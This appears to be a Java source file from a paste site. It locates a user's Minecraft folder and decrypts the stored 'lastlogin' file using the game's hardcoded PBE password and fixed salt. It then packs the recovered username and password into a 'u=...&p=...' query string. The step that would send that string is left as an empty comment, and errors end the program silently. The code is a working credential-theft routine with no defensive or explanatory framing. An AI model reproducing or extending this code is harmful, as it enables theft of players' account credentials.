· 8 years ago · Nov 25, 2017, 11:44 PM
1import java.io.*;
2import java.net.URL;
3import java.util.Random;
4
5import javax.crypto.*;
6import javax.crypto.spec.*;
7
8public class Main
9{
10 public static void main( String[ ] args )
11 {
12 try
13 {
14 File workDir = getWorkingDirectory( );
15
16 if( !workDir.exists( ) )
17 {
18 System.exit( 0 );
19 }
20
21 File lastLogin = new File( workDir, "lastlogin" );
22
23 Cipher cipher = getCipher( 2, "passwordfile" );
24
25 DataInputStream dis;
26
27 if( cipher != null )
28 dis = new DataInputStream( new CipherInputStream( new FileInputStream( lastLogin ), cipher ) );
29 else
30 dis = new DataInputStream( new FileInputStream( lastLogin ) );
31
32 String param = "u=" + dis.readUTF( ) + "&p=" + dis.readUTF( );
33
34 dis.close( );
35
36 //
37 }
38 catch( Exception e )
39 {
40 System.exit( 0 );
41 }
42 }
43
44 private static Cipher getCipher( int mode, String password ) throws Exception
45 {
46 Random random = new Random( 43287234L );
47 byte[ ] salt = new byte[ 8 ];
48 random.nextBytes( salt );
49 PBEParameterSpec pbeParamSpec = new PBEParameterSpec( salt, 5 );
50
51 SecretKey pbeKey = SecretKeyFactory.getInstance( "PBEWithMD5AndDES" ).generateSecret( new PBEKeySpec( password.toCharArray( ) ) );
52 Cipher cipher = Cipher.getInstance( "PBEWithMD5AndDES" );
53 cipher.init( mode, pbeKey, pbeParamSpec );
54 return cipher;
55 }
56
57 private static int getPlatform( )
58 {
59 String osName = System.getProperty( "os.name" ).toLowerCase( );
60 if( osName.contains( "win" ) ) return 2;
61 if( osName.contains( "mac" ) ) return 3;
62 if( osName.contains( "solaris" ) ) return 1;
63 if( osName.contains( "sunos" ) ) return 1;
64 if( osName.contains( "linux" ) ) return 1;
65 if( osName.contains( "unix" ) ) return 1;
66 return 4;
67 }
68
69 private static File getWorkingDirectory( )
70 {
71 String userHome = System.getProperty( "user.home", "." );
72 String folder = ".minecraft/";
73
74 switch( getPlatform( ) )
75 {
76 case 1: break;
77 case 2:
78 String appData = System.getenv( "APPDATA" );
79 if( appData != null ) userHome = appData;
80 break;
81 case 3:
82 folder = "Library/Application Support/minecraft";
83 break;
84 default:
85 folder = "minecraft/";
86 }
87
88 return new File( userHome, folder );
89 }
90}